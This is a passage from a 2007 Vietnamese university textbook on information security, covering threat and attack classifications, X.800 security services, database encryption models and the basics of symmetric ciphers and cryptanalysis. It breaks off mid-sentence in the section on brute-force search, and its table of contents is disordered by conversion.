-1-

TRƯỜNG ĐẠI HỌC GIAO THÔNG

KHOA CÔNG NGHỆ THÔNG TIN
BỘ MÔN KHOA HỌC MÁY TÍNH
Biên soạn TS. Trần Văn Dũng

GIÁO TRÌNH

AN TOÀN VÀ BẢO MẬT THÔNG TIN

Hà nội 8-2007
 -2-

Mở đầu

Gần đây, môn học “An toàn và bảo mật thông tin” đã được đưa vào giảng dạy tại
hầu hết các Khoa Công nghệ Thông tin của các trường đại học và cao đẳng. Do các ứng
dụng trên mạng Internet ngày các phát triển và mở rộng, nên an toàn thông tin trên mạng
đã trở thành nhu cầu bắt buộc cho mọi hệ thống ứng dụng. Để đáp ứng yêu cầu học tập và
tự tìm hiểu của sinh viên các chuyên ngành Công nghệ Thông tin, Bộ môn Khoa học máy
tính, Khoa Công nghệ Thông tin, trường đại học Giao thông đã tổ chức biên soạn giáo
trình này. Nội dung của nó được dựa trên một số tài liệu, nhưng chủ yếu là cuốn sách của
Giáo sư William Stallings “Cryptography and Network Security: Principles and
Practice”. Cuốn sách trên đã được dùng làm tài liệu giảng dạy tại nhiều trường đại học.
Đồng thời giáo trình này cũng được hoàn thiện từng bước dựa trên bài giảng của tác giả
cho 4 khóa sinh viên Khoa Công nghệ Thông tin vừa qua. Với mục đích trang bị các
kiến thức cơ sở vừa đủ và giúp cho sinh viên hiểu được bản chất của các khía cạnh an
ninh trên mạng, trong giáo trình tác giả đã cố gắng trình bày tóm tắt các phần lý thuyết cơ
bản và đưa ra các ứng dụng thực tế.
Giáo trình gồm 8 chương. Chương đầu nêu tổng quan về bảo mật, chương 2 tóm
tắt sơ lược về mã cổ điển, chương 3 trình bày những khái niệm cơ bản về trường số học,
chương 4 giới thiệu về mã khối và chuẩn mã dữ liệu, chương 5 nêu về mã công khai và
RSA, chương 6 đưa ra khái niệm xác thực và hàm băm, chương 7 giới thiệu ứng dụng về
an toàn Web và IP và cuối cùng chương 8 tóm tắt về kẻ xâm nhập và biện pháp phòng
chống bức tường lửa.
Do lần đầu biên soạn và chưa có nhiều kinh nghiệm thực tế, nên không tránh khỏi
những sai sót và lỗi in ấn nhất định. Tác giả xin vui lòng tiếp nhận mọi sự đóng góp giúp
cho giáo trình “An toàn và bảo mật thông tin” ngày càng tốt hơn. Mọi ý kiến xây dựng
xin gửi về theo địa chỉ sau: Trần Văn Dũng, Khoa Công nghệ Thông tin, Đại học Giao
thông Vận tải, Láng Thượng, Đống đa, Hà nội.
 -3-

MỤC LỤC

TRƯỜNG ĐẠI HỌC GIAO THÔNG

KHOA CÔNG NGHỆ THÔNG TIN
BỘ MÔN KHOA HỌC MÁY TÍNH...................................................................................1
Biên soạn TS. Trần Văn Dũng ............................................................................................1
GIÁO TRÌNH......................................................................................................................1
AN TOÀN VÀ BẢO MẬT THÔNG TIN...........................................................................1
Hà nội 8-2007......................................................................................................................1
Mở đầu 2
Gần đây, môn học “An toàn và bảo mật thông tin” đã được đưa vào giảng dạy tại hầu hết
các Khoa Công nghệ Thông tin của các trường đại học và cao đẳng. Do các ứng dụng
trên mạng Internet ngày các phát triển và mở rộng, nên an toàn thông tin trên mạng đã trở
thành nhu cầu bắt buộc cho mọi hệ thống ứng dụng. Để đáp ứng yêu cầu học tập và tự
tìm hiểu của sinh viên các chuyên ngành Công nghệ Thông tin, Bộ môn Khoa học máy
tính, Khoa Công nghệ Thông tin, trường đại học Giao thông đã tổ chức biên soạn giáo
trình này. Nội dung của nó được dựa trên một số tài liệu, nhưng chủ yếu là cuốn sách của
Giáo sư William Stallings “Cryptography and Network Security: Principles and
Practice”. Cuốn sách trên đã được dùng làm tài liệu giảng dạy tại nhiều trường đại học.
Đồng thời giáo trình này cũng được hoàn thiện từng bước dựa trên bài giảng của tác giả
cho 4 khóa sinh viên Khoa Công nghệ Thông tin vừa qua. Với mục đích trang bị các
kiến thức cơ sở vừa đủ và giúp cho sinh viên hiểu được bản chất của các khía cạnh an
ninh trên mạng, trong giáo trình tác giả đã cố gắng trình bày tóm tắt các phần lý thuyết cơ
bản và đưa ra các ứng dụng thực tế. ...................................................................................2
Do lần đầu biên soạn và chưa có nhiều kinh nghiệm thực tế, nên không tránh khỏi những
sai sót và lỗi in ấn nhất định. Tác giả xin vui lòng tiếp nhận mọi sự đóng góp giúp cho
giáo trình “An toàn và bảo mật thông tin” ngày càng tốt hơn. Mọi ý kiến xây dựng xin
gửi về theo địa chỉ sau: Trần Văn Dũng, Khoa Công nghệ Thông tin, Đại học Giao thông
Vận tải, Láng Thượng, Đống đa, Hà nội.............................................................................2
2
 -4-
............................................................................................4
CHƯƠNG I..........................................................................................................................5
TỔNG QUAN VỀ BẢO MẬT............................................................................................5
I.1 Giới thiệu chung về bảo mật thông tin...........................................................................5
I.3 Mô hình an toàn mạng...................................................................................................9
I.4 Bảo mật thông tin trong hệ cơ sở dữ liệu.....................................................................10
MÃ CỔ ĐIỂN....................................................................................................................14
MEMATRHTGPRYETEFETEOAAT......................................................................24
Thuật toán Miller - Rabin .................................................................................................41
CHUẨN MÃ DỮ LIỆU (DES) VÀ CHUẨN MÃ NÂNG CAO (AES)...........................46
Sinh số ngẫu nhiên tự nhiên: .............................................................................................73
Ví dụ 80
Ví dụ: 86
Các mã xác thực mẩu tin MAC cung cấp sự tin cậy cho người nhận là mẩu tin không bị
thay đổi và từ đích danh người gửi. Cũng có thể sử dụng mã xác thực MAC kèm theo với
việc mã hoá để bảo mật. Nói chung người ta sử dụng các khoá riêng biệt cho mỗi MAC
và có thể tính MAC trước hoặc sau mã hoá, tốt hơn là thực hiện MAC trước và mã hoá
sau. 93
Các tính chất của MAC......................................................................................................93
Các tính chất của hàm Hash...............................................................................................94
Các yêu cầu của hàm Hash................................................................................................95
Tấn công ngày sinh nhật ...................................................................................................95
Toàn vẹn dữ liệu..............................................................................................................109
DANH MỤC CÁC KÝ HIỆU, CÁC CHỮ VIẾT TẮT...................................................148

DANH MỤC CÁC KÝ HIỆU, CÁC CHỮ VIẾT TẮT..Error: Reference source not found

Phụ lục .......................................................................................................................145

 -5-

CHƯƠNG I
TỔNG QUAN VỀ BẢO MẬT

I.1 Giới thiệu chung về bảo mật thông tin

I.1.1 Mở đầu về bảo mật thông tin
Ngày nay với sự phát triển bùng nổ của công nghệ thông tin, hầu hết các thông tin của
doanh nghiệp như chiến lược kinh doanh, các thông tin về khách hàng, nhà cung cấp, tài
chính, mức lương nhân viên,…đều được lưu trữ trên hệ thống máy tính. Cùng với sự phát
triển của doanh nghiệp là những đòi hỏi ngày càng cao của môi trường kinh doanh yêu
cầu doanh nghiệp cần phải chia sẻ thông tin của mình cho nhiều đối tượng khác nhau qua
Internet hay Intranet. Việc mất mát, rò rỉ thông tin có thể ảnh hưởng nghiêm trọng đến tài
chính, danh tiếng của công ty và quan hệ với khách hàng.
Các phương thức tấn công thông qua mạng ngày càng tinh vi, phức tạp có thể dẫn đến
mất mát thông tin, thậm chí có thể làm sụp đổ hoàn toàn hệ thống thông tin của doanh
nghiệp. Vì vậy an toàn và bảo mật thông tin là nhiệm vụ rất nặng nề và khó đoán trước
được, nhưng tựu trung lại gồm ba hướng chính sau:
- Bảo đảm an toàn thông tin tại máy chủ
- Bảo đảm an toàn cho phía máy trạm
- Bảo mật thông tin trên đường truyền
Đứng trước yêu cầu bảo mật thông tin, ngoài việc xây dựng các phương thức bảo mật
thông tin thì người ta đã đưa ra các nguyên tắc về bảo vệ dữ liệu như sau:
- Nguyên tắc hợp pháp trong lúc thu thập và xử lý dữ liệu.
- Nguyên tắc đúng đắn.
- Nguyên tắc phù hợp với mục đích.
- Nguyên tắc cân xứng.
- Nguyên tắc minh bạch.
- Nguyên tắc được cùng quyết định cho từng cá nhân và bảo đảm quyền truy cập
cho người có liên quan.
- Nguyên tắc không phân biệt đối xử.
- Nguyên tắc an toàn.
- Nguyên tắc có trách niệm trước pháp luật.
- Nguyên tắc giám sát độc lập và hình phạt theo pháp luật.
- Nguyên tắc mức bảo vệ tương ứng trong vận chuyển dữ liệu xuyên biên giới.
Ở đây chúng ta sẽ tập trung xem xét các nhu cầu an ninh và đề ra các biện pháp an toàn
cũng như vận hành các cơ chế để đạt được các mục tiêu đó.
Nhu cầu an toàn thông tin:
• An toàn thông tin đã thay đổi rất nhiều trong thời gian gần đây. Trước kia hầu như
chỉ có nhu cầu bảo mật thông tin, nay đòi hỏi thêm nhiều yêu cầu mới như an ninh
máy chủ và trên mạng.
• Các phương pháp truyền thống được cung cấp bởi các cơ chế hành chính và
phương tiện vật lý như nơi lưu trữ bảo vệ các tài liệu quan trọng và cung cấp giấy
phép được quyền sử dụng các tài liệu mật đó.
 -6-

• Máy tính đòi hỏi các phương pháp tự động để bảo vệ các tệp và các thông tin lưu
trữ. Nhu cầu bảo mật rất lớn và rất đa dạng, có mặt khắp mọi nơi, mọi lúc. Do đó
không thể không đề ra các qui trình tự động hỗ trợ bảo đảm an toàn thông tin.
• Việc sử dụng mạng và truyền thông đòi hỏi phải có các phương tiện bảo vệ dữ
liệu khi truyền. Trong đó có cả các phương tiện phần mềm và phần cứng, đòi hỏi
có những nghiên cứu mới đáp ứng các bài toán thực tiễn đặt ra.

Các khái niệm:

• An toàn máy tính: tập hợp các công cụ được thiết kế để bảo vệ dữ liệu và chống
hacker.
• An toàn mạng: các phương tiện bảo vệ dữ liệu khi truyền chúng.
• An toàn Internet: các phương tiện bảo vệ dữ liệu khi truyền chúng trên tập các
mạng liên kết với nhau.

Mục đích của môn học là tập trung vào an toàn Internet gồm các phương tiện để bảo vệ,
chống, phát hiện, và hiệu chỉnh các phá hoại an toàn khi truyền và lưu trữ thông tin.

I.1.2 Nguy cơ và hiểm họa đối với hệ thống thông tin

Các hiểm họa đối với hệ thống có thể được phân loại thành hiểm họa vô tình hay cố ý,
chủ động hay thụ động.
- Hiểm họa vô tình: khi người dùng khởi động lại hệ thống ở chế độ đặc quyền, họ
có thể tùy ý chỉnh sửa hệ thống. Nhưng sau khi hoàn thành công việc họ không
chuyển hệ thống sang chế độ thông thường, vô tình để kẻ xấu lợi dụng.
- Hiểm họa cố ý: như cố tình truy nhập hệ thống trái phép.
- Hiểm họa thụ động: là hiểm họa nhưng chưa hoặc không tác động trực tiếp lên hệ
thống, như nghe trộm các gói tin trên đường truyền.
- Hiểm họa chủ động: là việc sửa đổi thông tin, thay đổi tình trạng hoặc hoạt động
của hệ thống.
Đối với mỗi hệ thống thông tin mối đe dọa và hậu quả tiềm ẩn là rất lớn, nó có thể xuất
phát từ những nguyên nhân như sau:
- Từ phía người sử dụng: xâm nhập bất hợp pháp, ăn cắp tài sản có giá trị
- Trong kiến trúc hệ thống thông tin: tổ chức hệ thống kỹ thuật không có cấu trúc
hoặc không đủ mạnh để bảo vệ thông tin.
- Ngay trong chính sách bảo mật an toàn thông tin: không chấp hành các chuẩn an
toàn, không xác định rõ các quyền trong vận hành hệ thống.
- Thông tin trong hệ thống máy tính cũng sẽ dễ bị xâm nhập nếu không có công cụ
quản lý, kiểm tra và điều khiển hệ thống.
- Nguy cơ nằm ngay trong cấu trúc phần cứng của các thiết bị tin học và trong phần
mềm hệ thống và ứng dụng do hãng sản xuất cài sẵn các loại 'rệp' điện tử theo ý
đồ định trước, gọi là 'bom điện tử'.
- Nguy hiểm nhất đối với mạng máy tính mở là tin tặc, từ phía bọn tội phạm.
 -7-
I.1.3 Phân loại tấn công phá hoại an toàn:

Các hệ thống trên mạng có thể là đối tượng của nhiều kiểu tấn công:
- Tấn công giả mạo là một thực thể tấn công giả danh một thực thể khác. Tấn công
giả mạo thường được kết hợp với các dạng tấn công khác như tấn công chuyển
tiếp và tấn công sửa đổi thông báo.
- Tấn công chuyển tiếp xảy ra khi một thông báo, hoặc một phần thông báo được
gửi nhiều lần, gây ra các tác động tiêu cực.
- Tấn công sửa đổi thông báo xảy ra khi nội dung của một thông báo bị sửa đổi
nhưng không bị phát hiện.
- Tấn công từ chối dịch vụ xảy ra khi một thực thể không thực hiện chức năng của
mình, gây cản trở cho các thực thể khác thực hiện chức năng của chúng.
- Tấn công từ bên trong hệ thống xảy ra khi người dùng hợp pháp cố tình hoặc vô ý
can thiệp hệ thống trái phép. Còn tấn công từ bên ngoài là nghe trộm, thu chặn,
giả mạo người dùng hợp pháp và vượt quyền hoặc lách qua các cơ chế kiểm soát
truy nhập.
• Tấn công bị động. Do thám, theo dõi đường truyền để:
o nhận được nội dung bản tin hoặc
o theo dõi luồng truyền tin
• Tấn công chủ động. Thay đổi luồng dữ liệu để:
o giả mạo một người nào đó.
o lặp lại bản tin trước
o thay đổi ban tin khi truyền
o từ chối dịch vụ.

I.2 Dịch vụ, cơ chế, tấn công.

Nhu cầu thực tiến dẫn đến sự cần thiết có một phương pháp hệ thống xác định các yêu
cầu an ninh của tổ chức. Trong đó cần có tiếp cận tổng thể xét cả ba khía cạnh của an
toàn thông tin: bảo vệ tấn công, cơ chế an toàn và dịch vụ an toàn.
 -8-
Sau đây chúng ta xét chúng theo trình tự ngược lại:

I.2.1 Các dịch vụ an toàn.

Đây là công cụ đảm bảo an toàn của hệ thống xử lý thông tin và truyền thông tin trong tổ
chức. Chúng được thiết lập để chống lại các tấn công phá hoại. Có thể dùng một hay
nhiều cơ chế an toàn để cung cấp dịch vụ.
Thông thường người ta cần phải tạo ra các liên kết với các tài liệu vật lý: như có chữ ký,
ngày tháng, bảo vệ cần thiết chống khám phá, sửa bậy, phá hoại, được công chứng, chứng
kiến, được ghi nhận hoặc có bản quyền.

I.2.2 Các cơ chế an toàn:

Từ các công việc thực tế để chống lại các phá hoại an ninh, người ta đã hệ thống và sắp
xếp lại tạo thành các cơ chế an ninh khác nhau. Đây là cơ chế được thiết kế để phát hiện,
bảo vệ hoặc khôi phục do tấn công phá hoại.
Không có cơ chế đơn lẻ nào đáp ứng được mọi chức năng yêu cầu của công tác an ninh.
Tuy nhiên có một thành phần đặc biệt nằm trong mọi cơ chế an toàn đó là: kỹ thuật mã
hoá. Do đó chúng ta sẽ dành một thời lượng nhất định tập trung vào lý thuyết mã.

I.2.3 Tấn công phá hoại an ninh:

Ta xác định rõ thế nào là các hành động tấn công phá họai an ninh. Đó là mọi hành động
chống lại sự an toàn thông tin của các tổ chức.
An toàn thông tin là bàn về bằng cách nào chống lại tấn công vào hệ thống thông tin hoặc
phát hiện ra chúng. Trên thực tế có rất nhiều cách và nhiều kiểu tấn công khác nhau.
Thường thuật ngữ đe doạ và tấn công được dùng như nhau. Cần tập trung chống một số
kiểu tấn công chính: thụ động và chủ động.
 -9-
I.3 Mô hình an toàn mạng
I.3.1 Kiến trúc an toàn của hệ thống truyền thông mở OSI.
Để giúp cho việc hoạch định chính sách và xây dựng hệ thống an ninh tốt. Bộ phận chuẩn
hóa tiêu chuẩn của tổ chức truyền thông quốc tế (International Telecommunication
Union) đã nghiên cứu và đề ra Kiến trúc an ninh X800 dành cho hệ thống trao đổi thông
tin mở OSI. Trong đó định nghĩa một cách hệ thống phương pháp xác định và cung cấp
các yêu cầu an toàn.Nó cung cấp cho chúng ta một cách nhìn tổng quát, hữu ích về các
khái niệm mà chúng ta nghiên cứu.
Trước hết nói về dich vụ an toàn, X800 định nghĩa đây là dịch vụ cung cấp cho tầng
giao thức của các hệ thống mở trao đổi thông tin, mà đảm bảo an toàn thông tin cần
thiết cho hệ thống và cho việc truyền dữ liệu.
Trong tài liệu các thuật ngữ chuẩn trên Internet RFC 2828 đã nêu định nghĩa cụ thể
hơn dich vụ an toàn là dịch vụ trao đổi và xử lý cung cấp cho hệ thống việc bảo vệ
đặc biệt cho các thông tin nguồn.Tài liệu X800 đưa ra định nghĩa dịch vụ theo 5 loại
chính:
- Xác thực: tin tưởng là thực thể trao đổi đúng là cái đã tuyên bố. Người đang trao
đổi xưng tên với mình đúng là anh ta, không cho phép người khác mạo danh.
- Quyền truy cập: ngăn cấm việc sử dụng nguồn thông tin không đúng vai trò.
Mỗi đối tượng trong hệ thống được cung cấp các quyền hạn nhất định và chỉ được
hành động trong khuôn khổ các quyền hạn đó.
- Bảo mật dữ liệu: bảo vệ dữ liệu không bị khám phá bởi người không có quyền.
Chẳng hạn như dùng các ký hiệu khác để thay thế các ký hiệu trong bản tin, mà
chỉ người có bản quyền mới có thể khôi phục nguyên bản của nó.
- Toàn vẹn dữ liệu: tin tưởng là dữ liệu được gửi từ người có quyền. Nếu có thay
đổi như làm trì hoãn về mặt thời gian hay sửa đổi thông tin, thì xác thực sẽ cho
cách kiểm tra nhận biết là có các hiện tượng đó đã xảy ra.
- Không từ chối: chống lại việc chối bỏ của một trong các bên tham gia trao đổi.
Người gửi cũng không trối bỏ là mình đã gửi thông tin với nội dung như vậy và
người nhận không thể nói dối là tôi chưa nhận được thông tin đó. Điều này là rất
cần thiết trong việc trao đổi, thỏa thuận thông tin hàng ngày.
Cơ chế an toàn được định nghĩa trong X800 như sau:
- Cơ chế an toàn chuyên dụng được cài đặt trong một giao thức của một tầng vận
chuyển nào đó: mã hoá, chữ ký điện tử, quyền truy cập, toàn vẹn dữ liệu, trao đổi
có phép, đệm truyền, kiểm soát định hướng, công chứng.
- Cơ chế an toàn phổ dụng không chỉ rõ được dùng cho giao thức trên tầng nào
hoặc dịch vụ an ninh cụ thể nào: chức năng tin cậy cho một tiêu chuẩn nào đó,
nhãn an toàn chứng tỏ đối tượng có tính chất nhất định, phát hiện sự kiện, vết theo
dõi an toàn, khôi phục an toàn.

I.3.2 Mô hình an toàn mạng tổng quát

Sử dụng mô hình trên đòi hỏi chúng ta phải thiết kế:
o thuật toán phù hợp cho việc truyền an toàn.
o Phát sinh các thông tin mật (khoá) được sử dụng bởi các thuật toán.
o Phát triển các phương pháp phân phối và chia sẻ các thông tin mật.
 - 10 -
o đặc tả giao thức cho các bên để sử dụng việc truyền và thông tin mật cho
các dịch vụ an toàn.

Mô hình truy cập mạng an toàn:

Sử dụng mô hình trên đòi hỏi chúng ta phải:

o Lựa chọn hàm canh cổng phù hợp cho người sử dụng có danh tính.
o Cài đặt kiểm soát quyền truy cập để tin tưởng rằng chỉ có người có quyền
mới truy cập được thông tin đích hoặc nguồn.
o Các hệ thống máy tính tin cậy có thể dùng mô hình này.

I.4 Bảo mật thông tin trong hệ cơ sở dữ liệu

I.4.1 Giới thiệu chung
Các hệ cơ sở dữ liệu (CSDL) ngày nay như Oracle, SQL/Server, DB2/Informix đều có
sẵn các công cụ bảo vệ tiêu chuẩn như hệ thống định danh và kiểm soát truy xuất. Tuy
 - 11 -
nhiên, các biện pháp bảo vệ này hầu như không có tác dụng trước các tấn công từ bên
trong. Để bảo vệ thông tin khỏi mối đe dọa này, người ta đưa ra hai giải pháp.
Giải pháp đơn giản nhất bảo vệ dữ liệu trong CSDL ở mức độ tập tin, chống lại sự truy
cập trái phép vào các tập tin CSDL bằng hình thức mã hóa. Tuy nhiên, giải pháp này
không cung cấp mức độ bảo mật truy cập đến CSDL ở mức độ bảng, cột và dòng. Một
điểm yếu nữa của giải pháp này là bất cứ ai với quyền truy xuất CSDL đều có thể truy
cập vào tất cả dữ liệu trong CSDL cũng có nghĩa là cho phép các đối tượng với quyền
quản trị truy cập tất cả các dữ liệu nhạy cảm.
Giải pháp thứ hai, giải quyết vấn đề mã hóa ở mức ứng dụng. Giải pháp này xử lý mã hóa
dữ liệu trước khi truyền dữ liệu vào CSDL. Những vấn đề về quản lý khóa và quyền truy
cập được hỗ trợ bởi ứng dụng. Truy vấn dữ liệu đến CSDL sẽ trả kết quả dữ liệu ở dạng
mã hóa và dữ liệu này sẽ được giải mã bởi ứng dụng. Giải pháp này giải quyết được vấn
đề phân tách quyền an toàn và hỗ trợ các chính sách an toàn dựa trên vai trò.

I.4.2 Một số mô hình bảo mật cơ sở dữ liệu

Để đáp ứng những yêu cầu về bảo mật cho các hệ thống CSDL hiện tại và sau này người
ta đưa ra 2 mô hình bảo mật CSDL thông thường sau đây

Xây dựng tầng CSDL trung gian:

Một CSDL trung gian được xây dựng giữa ứng dụng và CSDL gốc. CSDL trung gian này
có vai trò mã hóa dữ liệu trước khi cập nhật vào CSDL gốc, đồng thời giải mã dữ liệu
trước khi cung cấp cho ứng dụng. CSDL trung gian đồng thời cung cấp thêm các chức
năng quản lý khóa, xác thực người dùng và cấp phép truy cập.
Giải pháp này cho phép tạo thêm nhiều chức năng về bảo mật cho CSDL. Tuy nhiên, mô
hình CSDL trung gian đòi hỏi xây dựng một ứng dụng CSDL tái tạo tất cả các chức năng
của CSDL gốc.

Mô hình trung gian

Sử dụng cơ chế sẵn có trong CSDL

 - 12 -
Mô hình này giải quyết các vấn đề mã hóa cột dựa trên các cơ chế sau:
a. Các hàm Stored Procedure trong CSDL cho chức năng mã hóa và giải mã
b. Sử dụng cơ chế View trong CSDL tạo các bảng ảo, thay thế các bảng thật đã được mã
hóa.
c. Cơ chế “instead of” trigger được sử dụng nhằm tự động hóa quá trình mã hóa từ View
đến bảng gốc.
Trong mô hình này, dữ liệu trong các bảng gốc sẽ được mã hóa, tên của bảng gốc được
thay đổi. Một bảng ảo được tạo ra mang tên của bảng gốc, ứng dụng sẽ truy cập đến bảng
ảo này.
Truy xuất dữ liệu trong mô hình này có thể được tóm tắt như sau:

Mô hình bảng ảo

Các truy xuất dữ liệu đến bảng gốc sẽ được thay thế bằng truy xuất đến bảng ảo.
Bảng ảo được tạo ra để mô phỏng dữ liệu trong bảng gốc. Khi thực thi lệnh “select”, dữ
liệu sẽ được giải mã cho bảng ảo từ bảng gốc (đã được mã hóa). Khi thực thi lệnh “Insert,
Update”, “instead of” trigger sẽ được thi hành và mã hóa dữ liệu xuống bảng gốc.
Quản lý phân quyền truy cập đến các cột sẽ được quản lý ở các bảng ảo. Ngoài các quyền
cơ bản do CSDL cung cấp, hai quyền truy cập mới được định nghĩa:
1. Người sử dụng chỉ được quyền đọc dữ liệu ở dạng mã hóa. Quyền này phù hợp với
những đối tượng cần quản lý CSDL mà không cần đọc nội dung dữ liệu.
2. Người sử dụng được quyền đọc dữ liệu ở dạng giải mã.

I.4.3 Sơ lược kiến trúc của 1 hệ bảo mật CSDL

Triggers: các trigger được sử dụng để lấy dữ liệu đến từ các câu lệnh INSERT, UPDATE
(để mã hóa).
Views: các view được sử dụng để lấy dữ liệu đến từ các câu lệnh SELECT (để giải mã).
Extended Stored Procedures: được gọi từ các Trigger hoặc View dùng để kích hoạt các
dịch vụ được cung cấp bởi Modulo DBPEM từ trong môi trường của hệ quản tri CSDL.
 - 13 -
DBPEM (Database Policy Enforcing Modulo): cung cấp các dịch vụ mã hóa/giải mã dữ
liệu gửi đến từ các Extended Stored Procedures và thực hiện việc kiểm tra quyền truy
xuất của người dùng (dựa trên các chính sách bảo mật được lưu trữ trong CSDL về quyền
bảo mật).

Kiến trúc một hệ bảo mật CSDL

Security Database: lưu trữ các chính sách bảo mật và các khóa giải mã. Xu hướng ngày
nay thường là lưu trữ CSDL về bảo mật này trong Active Directory (một CSDL dạng thư
mục để lưu trữ tất cả thông tin về hệ thống mạng).
Security Services: chủ yếu thực hiện việc bảo vệ các khóa giải mã được lưu trong CSDL
bảo mật.
Management Console: dùng để cập nhật thông tin lưu trong CSDL bảo mật (chủ yếu là
soạn thảo các chính sách bảo mật) và thực hiện thao tác bảo vệ một trường nào đó trong
CSDL để đảm bảo tối đa tính bảo mật, thông tin được trao đổi.
 - 14 -

CHƯƠNG II
MÃ CỔ ĐIỂN
Mã hoá cổ điển là phương pháp mã hoá đơn giản nhất xuất hiện đầu tiên trong lịch sử
ngành mã hoá. Thuật toán đơn giản và dễ hiểu. Những phương pháp mã hoá này là cở sở
cho việc nghiên cứu và phát triển thuật toán mã hoá đối xứng được sử dụng ngày nay.
Trong mã hoá cổ điển có hai phương pháp nổi bật đó là:
- Mã hoá thay thế
- Mã hoá hoán vị
Mọi mã cổ điển đều là mã đối xứng mà chúng ta sẽ xét trong phần sau.

II.1 Mã đối xứng.

II.1.1 Các khái niệm cơ bản
Mật mã đối xứng sử dụng cùng một khóa cho việc mã hóa và giải mã. Có thể nói mã đối
xứng là mã một khoá hay mã khóa riêng hay mã khoá thỏa thuận.
Ở đây người gửi và người nhận chia sẻ khoá chung K, mà họ có thể trao đổi bí mật với
nhau. Ta xét hai hàm ngược nhau: E là hàm biến đổi bản rõ thành bản mã và D là hàm
biến đổi bản mã trở về bản rõ. Giả sử X là văn bản cần mã hóa và Y là dạng văn bản đã
được thay đổi qua việc mã hóa. Khi đó ta ký hiệu:
Y = EK(X)
X = DK(Y)
Mọi thuật toán mã cổ điển đều là mã khoá đối xứng, vì ở đó thông tin về khóa được chia
sẻ giữa người gửi và người nhận. Mã đối xứng là kiểu duy nhất trước khi phát minh ra
khoá mã công khai (còn được gọi là mã không đối xứng) vào những năm 1970. Hiện nay
các mã đối xứng và công khai tiếp tục phát triển và hoàn thiện. Mã công khai ra đời hỗ
trợ mã đối xứng chứ không thay thế nó, do đó mã đối xứng đến nay vẫn được sử dụng
rộng rãi.

Sau đây ta đưa ra định nghĩa một số khái niệm cơ bản về mã hóa.
1. Bản rõ X được gọi là là bản tin gốc. Bản rõ có thể được chia nhỏ có kích thước
phù hợp.
2. Bản mã Y là bản tin gốc đã được mã hoá. Ở đây ta thường xét phương pháp mã
hóa mà không làm thay đổi kích thước của bản rõ, tức là chúng có cùng độ dài.
3. Mã là thuật toán E chuyển bản rõ thành bản mã. Thông thường chúng ta cần thuật
toán mã hóa mạnh, cho dù kẻ thù biết được thuật toán, nhưng không biết thông tin
về khóa cũng không tìm được bản rõ.
4. Khoá K là thông tin tham số dùng để mã hoá, chỉ có người gửi và nguời nhận
biết. Khóa là độc lập với bản rõ và có độ dài phù hợp với yêu cầu bảo mật.
5. Mã hoá là quá trình chuyển bản rõ thành bản mã, thông thường bao gồm việc áp
dụng thuật toán mã hóa và một số quá trình xử lý thông tin kèm theo.
6. Giải mã chuyển bản mã thành bản rõ, đây là quá trình ngược lại của mã hóa.
 - 15 -

7. Mật mã là chuyên ngành khoa học của Khoa học máy tính nghiên cứu về các
nguyên lý và phương pháp mã hoá. Hiện nay người ta đưa ra nhiều chuẩn an toàn
cho các lĩnh vực khác nhau của công nghệ thông tin.
8. Thám mã nghiên cứu các nguyên lý và phương pháp giải mã mà không biết khoá.
Thông thường khi đưa các mã mạnh ra làm chuẩn dùng chung giữa các người sử
dụng, các mã đó được các kẻ thám mã cũng như những người phát triển mã tìm
hiểu nghiên cứu các phương pháp giải một phần bản mã với các thông tin không
đầy đủ.
9. Lý thuyết mã bao gồm cả mật mã và thám mã. Nó là một thể thống nhất, để đánh
giá một mã mạnh hay không, đều phải xét từ cả hai khía cạnh đó. Các nhà khoa
học mong muốn tìm ra các mô hình mã hóa khái quát cao đáp ứng nhiều chính
sách an toàn khác nhau.

Mô hình mã đối xứng

II.1.2 Các yêu cầu.

Một mã đối xứng có các đặc trưng là cách xử lý thông tin của thuật toán mã, giải mã, tác
động của khóa vào bản mã, độ dài của khóa. Mối liên hệ giữa bản rõ, khóa và bản mã
càng phức tạp càng tốt, nếu tốc độ tính toán là chấp nhận được. Cụ thể hai yêu cầu để sử
dụng an toàn mã khoá đối xứng là
1. Thuật toán mã hoá mạnh. Có cơ sở toán học vững chắc đảm bảo rằng mặc dù
công khai thuật toán, mọi người đều biết, nhưng việc thám mã là rất khó khăn và
phức tạp nếu không biết khóa.
2. Khoá mật chỉ có người gửi và người nhận biết. Có kênh an toàn để phân phối
khoá giữa các người sử dụng chia sẻ khóa. Mối liên hệ giữa khóa và bản mã là
không nhận biết được.
II.1.3 Mật mã
Hệ mật mã được đặc trưng bởi các yếu tố sau
- Kiểu của thao tác mã hoá được sử dụng trên bản rõ:
1. Phép thế - thay thế các ký tự trên bản rõ bằng các ký tự khác
2. Hoán vị - thay đổi vị trí các ký tự trong bản rõ, tức là thực hiện hoán vị
các ký tự của bản rõ.
 - 16 -
3. Tích của chúng, tức là kết hợp cả hai kiểu thay thế và hoán vị các ký tự
của bản rõ.
- Số khoá được sử dụng khi mã hóa: một khoá duy nhất - khoá riêng hoặc hai khoá -
khoá công khai. Ngoài ra còn xem xét số khóa được dùng có nhiều không.
- Một đặc trưng của mã nữa là cách mà bản rõ được xử lý, theo:
1. Khối - dữ liệu được chia thành từng khối có kích thước xác định và áp
dụng thuật toán mã hóa với tham số khóa cho từng khối.
2. Dòng - từng phần tử đầu vào được xử lý liên tục tạo phần tử đầu ra tương
ứng.
II.1.4 Thám mã.
Có hai cách tiếp cận tấn công mã đối xứng.
1. Tấn công thám mã dựa trên thuật toán và một số thông tin về các đặc
trưng chung về bản rõ hoặc một số mẫu bản rõ/bản mã. Kiểu tấn công này
nhằm khai phá các đặc trưng của thuật toán để tìm bản rõ cụ thể hoặc tìm
khóa. Nếu tìm được khóa thì là tai họa lớn.
2. Tấn công duyệt toàn bộ: kẻ tấn công tìm cách thử mọi khóa có thể trên bản
mã cho đến khi nhận được bản rõ. Trung bình cần phải thử một nửa số
khóa mới tìm được.

Các kiểu tấn công thám mã.

- Chỉ dùng bản mã: biết thuật toán và bản mã, dùng phương pháp thống kê, xác định
bản rõ.
- Biết bản rõ: biết thuật toán, biết được bản mã/bản rõ tấn công tìm khóa.
- Chọn bản rõ: chọn bản rõ và nhận được bản mã, biết thuật toán tấn công tìm khóa.
- Chọn bản mã: chọn bản mã và có được bản rõ tương ứng, biết thuật toán tấn công
tìm khóa.
- Chọn bản tin: chọn được bản rõ hoặc mã và mã hoặc giải mã tuơng ứng, tấn công
tìm khóa.

II.1.5 Tìm duyệt tổng thể (Brute-Force)

Về mặt lý thuyết phương pháp duyệt tổng thể là luôn thực hiện được, do có thể tiến hành
thử từng khoá, mà số khoá là hữu hạn. Phần lớn công sức của các tấn công đều tỷ lệ
